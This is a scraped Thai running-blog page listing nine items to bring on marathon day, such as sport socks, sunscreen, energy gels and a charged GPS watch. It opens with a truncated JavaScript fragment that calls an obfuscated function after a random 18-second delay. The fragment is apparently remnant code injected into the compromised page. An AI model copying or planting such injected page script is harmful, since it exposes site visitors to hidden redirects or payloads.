andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andra-winata-CYOFvtpOIpU-unsplash.jpg","width":1200,"height":675},{"@type":"WebPage","@id":"https://www.stepextra.com/9-items-recommend-on-marathon-race-day/#webpage","url":"https://www.stepextra.com/9-items-recommend-on-marathon-race-day/","name":"\u0e2d\u0e38\u0e1b\u0e01\u0e23\u0e13\u0e4c 9 \u0e2d\u0e22\u0e48\u0e32\u0e07\u0e17\u0e35\u0e48\u0e0a\u0e32\u0e27\u0e21\u0e32\u0e23\u0e32\u0e18\u0e2d\u0e19\u0e04\u0e27\u0e23\u0e21\u0e35\u0e15\u0e34\u0e14\u0e44\u0e27\u0e49 - StepExtra","isPartOf":{"@id":"https://www.stepextra.com/#website"},"primaryImageOfPage":{"@id":"https://www.stepextra.com/9-items-recommend-on-marathon-race-day/#primaryimage"},"datePublished":"2019-09-21T14:40:01+00:00","dateModified":"2019-09-21T14:40:08+00:00","author":{"@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://www.stepextra.com/9-items-recommend-on-marathon-race-day/"]}]},{"@type":"Person","@id":"https://www.stepextra.com/#/schema/person/3d6ae3d26ec98210683a7b0ced0ac9d4","name":"kan","image":{"@type":"ImageObject","@id":"https://www.stepextra.com/#personlogo","inLanguage":"en-US","url":"https://secure.gravatar.com/avatar/d4c4d7bd6bf34c4dbd8273eb6d599c68?s=96&d=mm&r=g","caption":"kan"},"sameAs":["https://www.facebook.com/kanthad?ref=bookmarks"]}]}
  • เกี่ยวกับ STEP EXTRA
STEP EXTRA Run more Spin more
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping
No Result
View All Result
StepExtra
No Result
View All Result

อุปกรณ์ 9 อย่างที่ชาวมาราธอนควรมีติดไว้

kan by kan
21 September 2019
in Running Tips
0
Home Tips & Technics Running Tips

ถ้าพรุ่งนี้คืองานวิ่ง HALF หรือ FULL MARATHON การเตรียมตัวให้พร้อมจะช่วยให้คุณจบการแข่งขันได้ง่ายขึ้นหรือไม่ก็ DNF (DO NOT FINNISH) ก็ได้ การเตรียมอุปกรณ์และสิ่งจำเป็นติดตัวจะช่วยให้เราสนุกกับงานวิ่ง มีผลช่วยเพิ่มพลังใจและ BOOST PERFORMANCE ขึ้นอีกนิด  

อุปกรณ์ 9 อย่างที่ชาวมาราธอนควรมีติดไว้

หลายๆ ครั้งที่เราต้องรู้สึกไม่พร้อม ไม่มั่นใจและเซ็งในอารมณ์เวลาเจ้ามือถือแบตหมด รองเท้าใหม่กัด หิวตลอดเวลาวิ่ง ฉะนั้นมีเจ้าอุปกรณ์ที่จำเป็น 9 อย่าง เราแนะนำต้องห้ามลืมเด็ดขาด เรามาดู CHECKLIST กัน….

1. ถุงเท้าวิ่งแบบ SPORT SOCK ไม่ใช่ถุงเท้าทำงานทั่วไป โดยส่วนมากคุณต้องลองผิดลองถูกเอง บางคนเลือกแบบ COMPRESSION SOCK แบบรัดกระชักอุ้งเท้าไปเลย แต่หลักที่สำคัญคือ ถุงเท้าต้องช่วยระบายเหงื่อได้ดี ให้ความรู้สึกกระชับ เท้าแห้งไม่อมเหงื่อ ถุงเท้ากีฬาอาจจะลื่นนิดหน่อยแต่จะช่วยป้องกันเท้าพอง (BLISTER) ถ้าคู่ดีๆ หน่อยก็จะให้ความรู้สึกหนานุ่มขึ้นมาอีก

to-1544899439-ae2ef61697f7?ixlib=rb-1.2.1&auto=format&fit=crop&w=1050&q=80″ alt=””/>

2. วาสลีน เอาไว้ทาตามงามขา ทาตามข้อขาพับต่างๆ เพื่อลดการเสียดสีของผิวหนัง

3. หมวก VISOR กันแดดและช่วยกันเหงื่อเข้าตา แนะนำให้ใส่คู่กับแว่นตากันแดดด้วย

4. ขนมหรืออาหารสำหรับ REFUEL อย่างเช่น ENERGY GEL/BAR หรือธัญพืชอัดแท่ง และอย่าลืมเครื่องดื่ม SPORT DRINK หรือเครื่องดื่มเกลือแร่ เพราะนอกจากร่างกายจะสูญเสียน้ำแล้ว ร่างกายก็จะสูญเสียเกลือแร่ไปด้วย ปกติงานวิ่งจะมีเครื่องดื่มเกลือแร่ให้ประจำสถานี ดังนั้นบางคนจึงใช้ SALT STICK แทน เวลาวิ่งแนะนำให้ตั้งเวลาไว้เลยว่า 15-20 นาทีรับน้ำและทุกๆ 40-45 นาที REFUEL จะช่วยเติมพลังงานให้คุณจนถึงเส้นชัย

5. โลชั่น SUNSCREEN ทาก่อนออกวิ่งทุกครั้งอย่างน้อย 15 นาทีก่อนวิ่ง ยิ่งสนามวิ่งเมืองไทยแล้ว ร้อนทุกสนามและแนะนำให้ละเลงทั่วตัวเลย ไม่งั้นวิ่งปิ้งย่างผิวไหม้แน่นอน

6. นาฬิกา GPS WATCH หรือจะใช้ SMARTPHONE ก็ได้แต่สำคัญที่สุดคือแบตเตอรี่ ควรเสียบชาร์จไว้ตั้งแต่คืนก่อนวิ่งเลย ชาร์จให้แบตเต็ม 100 % จะได้ไม่ต้องดับกลางทาง และก่อนถึงเวลาวิ่งก็ควร PAIR อุปกรณ์กันก่อนให้เรียบร้อย

to-1544899456-1b0b5b3fe263?ixlib=rb-1.2.1&auto=format&fit=crop&w=1262&q=80″ alt=””/>

7. ผ้าเช็ดตัว มีประโยชน์มากเวลาวิ่งจบการแข่งขัน เวลาคุณผลัดเปลี่ยนเสื้อคุณจะได้เอาไว้เช็ดตัวให้ตัวแห้งเข้าไว้ หรือจะจุ้มน้ำบิดน้ำออกหมาดๆ เช็ดทำความสะอาดร่างกายก็ดี ไม่ต้องเสียเวลาแย่งห้องน้ำกับนักวิ่งคนอื่น และแนะนำให้ติดกระดาษทิชชู่ไว้สำรองด้วย เผื่อใช้เช้ดทำความสะอาดกรณีที่จำเป็น

8. ชุดลำลองเปลี่ยนหลังจบการวิ่งและรองเท้าแตะ อย่านั่งแช่เหงื่อให้อับชื่น มันไม่ดีต่อสุขถาพผิวหนังและร่างกายจะสูญเสียอุณหภูมิได้ง่าย ยิ่งสภาพอากาศเย็นๆ เราแนะนำให้เปลี่ยนใส่เสื้อผ้าใหม่ที่เตรียมไว้

9. น้ำและอาหารมื้อเล็กๆ สำรองไว้หลังวิ่งจบ เพราะบางครั้งเมื่อมาถึงเส้นชัยแล้ว อาหารและน้ำที่ทางผู้จัดงานเตรียมไว้อาจจะไม่เหลือแล้ว หรือมีคนมุงมากจนต้องต่อคิวนาน เราแนะนำให้รับประทานเสบียงที่เตรียมมาเพื่อรองท้องไว้ก่อนจะดีกว่า โดยเฉพาะน้ำและเครื่องดื่มเหลือแร่ มีติดไว้จะช่วยลดอาการขาดน้ำได้เยอะเลย

และอุปกรณ์แนะนำอื่นๆ ที่ควรพกมาด้วยก็อย่างเช่น เครื่องปฐมพยาบาลเบื้องต้น กรณีที่มีบาดแผลจะได้ใช้งานได้ทันท่วงที

อ้างอิง runningmagazine.ca

to" data-full-width-responsive="true">
Previous Post

On ร่วมเป็นสปอนเซอร์ในการแข่งขันวิ่ง 10 กิโลเมตรชิงแชมป์ประเทศไทย CAT 10K Thailand Championship 2019

Next Post

วิ่ง 10K ในเวลา 4 สัปดาห์ คุณก็ทำได้

kan

kan

Related Posts

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai
News

เที่ยวแบบมีสไตล์ไม่ตกเทรนด์ กับ Social-Disc-Camping#2@Khao Yai

9 March 2021
Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้
News

Nike จัดโปรโมชันลดสินค้าผู้หญิง 30% วันนี้ – 10 พ.ค. นี้

8 May 2020
adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้
Gear News

adidas จัดโปรแรงต้อนรับซัมเมอร์ ลด 30% สินค้าปกติ และ 50% สินค้าลดราคา ถึง 30 เม.ย. นี้

16 April 2020
Load More
Next Post

วิ่ง 10K ในเวลา 4 สัปดาห์ คุณก็ทำได้

HIIT OR CIRCUIT TRAINING ต่างกันเเละมีประโยชน์อย่างไร

เสา 6 หลักสำหรับการเลือกรับประทานอาหารของเหล่านักกีฬา

  • 12.1k Fan
  • 22 Follower
  • 30 Follower
to" data-full-width-responsive="true">

บทความยอดนิยมใน 7 วันนี้

  • เอาติดข้างฝาไว้นะ..ตารางฝึกวิ่งมาราธอน 8 สัปดาห์

    เอาติดข้างฝาไว้นะ..ตารางฝึกวิ่งมาราธอน 8 สัปดาห์

    0 shares
    Share 0 Tweet 0
  • วิธีคำนวณ Maximum Heart Rate

    0 shares
    Share 0 Tweet 0
  • สถานที่วิ่งในจังหวัดภูเก็ต

    0 shares
    Share 0 Tweet 0
  • นักวิ่งโปรดทราบ…4 ข้อควรรู้ก่อนไปเทรล

    0 shares
    Share 0 Tweet 0
  • อาการอยาก ของหวาน (Sugar Craving) ร่างกายไม่ได้ต้องการน้ำตาลอย่างเดียว

    0 shares
    Share 0 Tweet 0

ทดสอบ

ทดสอบ

No Result
View All Result
  • ข่าวสาร
    • Running News
    • Bicycle
    • Healthy News
    • Gadget News
    • Shoes
  • บทวิจารณ์
    • Shoes Review
    • Gadget Review
    • Sport Gear
  • เกร็ดความรู้
    • Running Tips
    • Cycling Tips
    • Training
    • Healthy Tips
    • Gadget Tips
  • สถานที่-เส้นทาง
    • Running
    • Cycling
  • Sport Caravan Camping

© 2022 JNews - Premium WordPress news & magazine theme by Jegtheme.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.